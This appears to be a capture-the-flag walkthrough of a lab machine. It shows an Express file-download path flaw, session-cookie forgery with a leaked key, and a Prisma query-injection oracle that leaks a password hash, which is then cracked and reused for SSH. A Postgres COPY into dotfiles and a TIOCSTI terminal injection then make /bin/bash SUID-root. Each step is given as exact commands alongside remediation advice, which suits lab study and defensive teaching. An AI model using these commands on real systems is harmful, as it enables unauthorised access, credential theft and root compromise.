← all walkthroughs

Download

Linux· Hard· Web
owned
2026-10-14
time to own
15m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Node/Express file-sharing site behind nginx whose download handler could be tricked into returning the application's own source files. The source exposed the hard-coded key that signs login cookies and named the likely system user, wesley.

With the key, I forged session cookies and abused a database-query injection in the /home page to extract an administrator's password hash one character at a time. The hash was an unsalted MD5 of a common password and cracked in seconds, and the same password worked for SSH as wesley.

From that shell, a world-readable systemd service file leaked database credentials. That database account had file-write privileges that reached the postgres OS account's shell startup files, and a root-run maintenance script later opened an interactive postgres session in its own terminal, giving me a way to drive that root-owned terminal and make /bin/bash SUID-root for full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for wesley>"
export PASSWORD4="<the-password-you-recovered, for pwn555>"

Attack path: how the box was taken

1ReconnaissanceService enumeration and open self-registration (T1595, T1190)
Mapped the exposed services and registered an application account
A port scan showed only SSH (22) and an nginx 1.18.0 web server (80). The web server redirected to the virtual host download.htb and proxied an Express application. The site allowed anyone to self-register, giving me an authenticated session and the ability to upload/download files.
X-Powered-By: Express behind nginx/1.18.0; registration as pwn555 returned a 302 to /home/ with a signed download_session cookie; an uploaded file was served back by UUID.
Exact commands 5
shell

Full port sweep, then service detection on the open ports.

$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80 $TARGET
shell

Resolve the vhost that nginx redirects to.

$ echo "$TARGET download.htb" | sudo tee -a /etc/hosts
shell

Fingerprint the web stack and session cookie.

$ curl --resolve download.htb:80:$TARGET -sS -D - http://download.htb/ -o -
shell

Create a normal user account.

$ curl --resolve download.htb:80:$TARGET -sS -c download.cookies -b download.cookies -L -d "username=pwn555&password=$PASSWORD4" http://download.htb/auth/register -o /dev/null -w 'final=%{url_effective} code=%{http_code}\n'
shell

Log in and capture the download_session / download_session.sig cookies.

$ curl --resolve download.htb:80:$TARGET -sS -c download.cookies -b download.cookies -i -d "username=pwn555&password=$PASSWORD4" http://download.htb/auth/login
2ExploitationLocal File Inclusion / path normalisation flaw (CWE-22, T1083)
Read application source through the file-download endpoint
The /files/download/<uuid> handler did not fully normalise the path it was given; an extra leading or encoded slash made it serve files from the web root instead of the stored upload. This exposed app.js (containing the hard-coded cookie-session HMAC key) and package.json (naming the author, wesley). Direct traversal to /etc/passwd was blocked, but in-webroot application files were reachable.
The session cookie format (signed base64 JSON plus a keygrip '.sig' value) matches cookie-session usage, consistent with the key the source discloses.
Exact commands 2
shell

Also try /%2fapp.js. Reads app.js, which embeds the signing key.

$ curl --resolve download.htb:80:$TARGET -sS -b download.cookies 'http://download.htb/files/download//app.js'
shell

Reveals the project author (wesley).

$ curl --resolve download.htb:80:$TARGET -sS -b download.cookies 'http://download.htb/files/download//package.json'
FixNormalise and validate file paths before serving downloadsHigh
WeaknessThe /files/download/<uuid> route passed caller-influenced path segments to the filesystem without resolving and constraining them to the intended uploads directory, letting an extra or encoded slash cause it to serve arbitrary web-root files, including application source.
FixResolve the requested path with path.resolve/path.normalize and verify the result stays inside the uploads directory (e.g. startsWith check against the resolved base dir) before reading the file; reject anything that fails the check, and serve files by an opaque DB-stored path rather than by user-influenced path segments.
3Credential AccessSession cookie forgery via hard-coded signing secret (CWE-798, T1606)
Forged a signed session cookie using the leaked key
Cookie-session signs cookies but does not encrypt them. With the key recovered from app.js, I built a cookie carrying an arbitrary user object and computed the matching HMAC-SHA1 signature, which the server accepted as a valid login for any account.
Download_session carries the user object as base64 JSON; download_session.sig is the keygrip HMAC over the whole cookie pair.
Exact commands 1
shell

Replace <KEY_FROM_APP_JS> with the secret read from app.js; the trailing '=' on the signature is stripped.

$ python3 -c "import base64,hmac,hashlib,json; k=b'<KEY_FROM_APP_JS>'; c=base64.b64encode(json.dumps({'flashes':{'info':[],'error':[],'success':[]},'user':{'id':1,'username':'admin'}}).encode()).decode(); s=base64.urlsafe_b64encode(hmac.new(k,('download_session='+c).encode(),hashlib.sha1).digest()).decode().rstrip('='); print('download_session='+c); print('download_session.sig='+s)"
FixRemove the hard-coded cookie-signing secret and stop trusting client-supplied session contentCritical
WeaknessThe Express app used a hard-coded, source-disclosed string as its cookie-session HMAC key, and stored the full user object (including fields used later in a database query) inside the signed-but-unencrypted cookie, letting anyone who read the key forge a session as any user.
FixLoad the session secret from an environment variable or secrets manager, rotate it, and never derive from source control. Store only an opaque session ID in the cookie and keep the actual user/session data server-side (a session store), so cookie content can never be used as a query filter.
4Credential AccessORM operator injection / blind data extraction (CWE-943) then offline hash cracking (T1110.002)
Extracted a password hash via an ORM query-injection oracle, then cracked it
The /home page queried the database using the session's user object directly as the filter (Prisma findMany({where:{author:req.session.user}})). Because I controlled that object via the forged cookie, setting password to {startsWith:'<guess>'} turned the page into a yes/no oracle: 'No files found' meant a wrong prefix, any listing meant a correct one. Iterating this leaked the full 32-character MD5 hash, which cracked to a common password that was also wesley's SSH password.
Recovered hash cracks with rockyou to <withheld>; that credential authenticated an SSH session as uid=1000(wesley) on host 'download'.
Exact commands 3
shell

Custom script: for each hex position, forge a cookie with user {id:1,username:'wesley',password:{startsWith: prefix+candidate}} and keep candidates where the response is NOT 'No files found'; repeat for 32 chars.

$ python3 oracle.py --url http://download.htb/home/ --key <KEY_FROM_APP_JS> --target-user wesley
shell

Crack the recovered unsalted MD5 hash.

$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
shell

Password reuse over SSH. Prove access with id/hostname, then read <user.txt>.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null wesley@$TARGET 'id; hostname; cat /home/wesley/user.txt'
uid=1000(wesley)
FixStop passing session/user-controlled objects directly into ORM query filtersCritical
WeaknessThe /home handler passed req.session.user straight into a Prisma where clause, allowing an externally controlled object (via the forged cookie) to use Prisma's operators (e.g. startsWith) as a blind boolean oracle to extract the password hash character by character; the hash itself was unsalted MD5.
FixOnly pass validated, server-trusted scalar values (e.g. a numeric user ID) into query filters, never a client-supplied object. Additionally, hash passwords with bcrypt/argon2 (salted, slow) instead of raw MD5, so even a leaked hash resists cracking.
5DiscoveryPlaintext credentials in a world-readable configuration file (CWE-256, T1552.001)
Recovered database credentials from a world-readable systemd unit
As wesley, I read the systemd service file for the web app, which embedded the PostgreSQL connection string in plaintext, including a password for the application's database role.
/etc/systemd/system/download-site.service contained DATABASE_URL=postgresql://$USERNAME:$PASSWORD@localhost:5432/download.
Exact commands 2
shell

Service file readable by any local user; discloses DB credentials.

$ cat /etc/systemd/system/download-site.service
shell

Log in to Postgres with the leaked credentials (password: $PASSWORD).

$ psql -U download -h 127.0.0.1 -W download
FixRemove plaintext database credentials from the systemd unit fileHigh
Weaknessdownload-site.service embedded the production PostgreSQL connection string, including the password, directly in Environment=, readable by any local user on the host.
FixMove secrets out of the unit file into an EnvironmentFile with 0600 permissions owned by root (or a secrets manager / systemd credentials feature), and rotate the exposed database password.
6DiscoveryScheduled task / cron abuse and unsafe privilege-switch (T1053, T1548)
Identified a scheduled root task that drops into an interactive postgres session
Process monitoring on the host showed root periodically running a maintenance script, /root/manage-db, that switched user to postgres (su -l postgres) and opened an interactive psql session without allocating a fresh pseudo-terminal, meaning that session shared the controlling terminal with the invoking root process.
Pspy64 output showed /root/manage-db running su -l postgres and psql on a timer in the same PTY as root.
Exact commands 1
shell

Monitor process creation as an unprivileged user to spot the root-run /root/manage-db cycle.

$ ./pspy64 -pf
7Privilege EscalationTTY input injection via a shared controlling terminal (TIOCSTI) following privileged shell-startup file abuse (T1574.009, T1548.001)
Used the database's COPY privilege to plant a shell-startup payload for the postgres account, then drove root's terminal to make bash SUID
The download database role had COPY TO file-write privileges reaching postgres's home directory. I used COPY to drop a launcher into postgres's shell startup files (.bashrc, .profile, .bash_login) that runs automatically the next time something logs postgres into an interactive shell. When the scheduled /root/manage-db job next ran su -l postgres in root's own terminal, the launcher executed inside that same terminal session and queued a command (chmod +s /bin/bash) into the controlling tty's input buffer, so it ran with root's privileges. This made /bin/bash SUID-root, and running bash -p gave a root shell.
Post-exploitation cleanup removed /tmp/x.py, /tmp/pspy64 and the planted postgres dotfiles; /bin/bash showed mode -rwsr-sr-x before cleanup; a root shell read /root/root.txt (euid=0, groups=0(root),1000(wesley)).
Exact commands 5
shell

Confirm the download role's privileges include COPY.

$ psql -U download -h 127.0.0.1 -W download -c "\du"
shell

Plant the launcher into every shell-startup file the postgres account might source.

$ psql -U download -h 127.0.0.1 -W download -c "COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.bash_login'; COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.bashrc'; COPY (select 'python3 /tmp/x.py') TO '/var/lib/postgresql/.profile';"
shell

Stage a small script that pauses its own parent process and feeds 'chmod +s /bin/bash\n' into the controlling terminal's input buffer via a TIOCSTI ioctl, then upload it as /tmp/x.py.

$ scp tty_inject.py wesley@$TARGET:/tmp/x.py && ssh wesley@$TARGET 'chmod 755 /tmp/x.py'
shell

Wait for the next /root/manage-db tick to trigger the postgres login and the ioctl payload; bash should flip to -rwsr-sr-x root:root.

$ watch -n5 'ls -lah /bin/bash'
shell

Once SUID is set, spawn bash with -p to keep root privileges, prove access, then read <root.txt>.

$ ssh wesley@$TARGET '/bin/bash -p -c "id; hostname; cat /root/root.txt"'
FixRestrict the database role's filesystem privileges and avoid shared-terminal privilege switches in automationCritical
WeaknessThe application's database role could COPY arbitrary content to files on disk, including into the postgres OS account's shell-startup files, and a root-run maintenance script dropped into an interactive postgres shell inside the same controlling terminal (su -l without a new pty), letting injected keystrokes run with root's privileges.
FixRevoke COPY/file-write privileges from the application's database role (use pg_read/write_server_files only for trusted admin roles, run Postgres with a restricted superuser_reserved_connections and no OS-level file access for app roles). In the maintenance script, replace 'su -l postgres' run in the same terminal with 'runuser -u postgres --' or sudo with a dedicated non-interactive command, and if a shell is unavoidable, allocate a fresh pty (e.g. via setsid/script) so a sibling session cannot inject into root's terminal via TIOCSTI.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp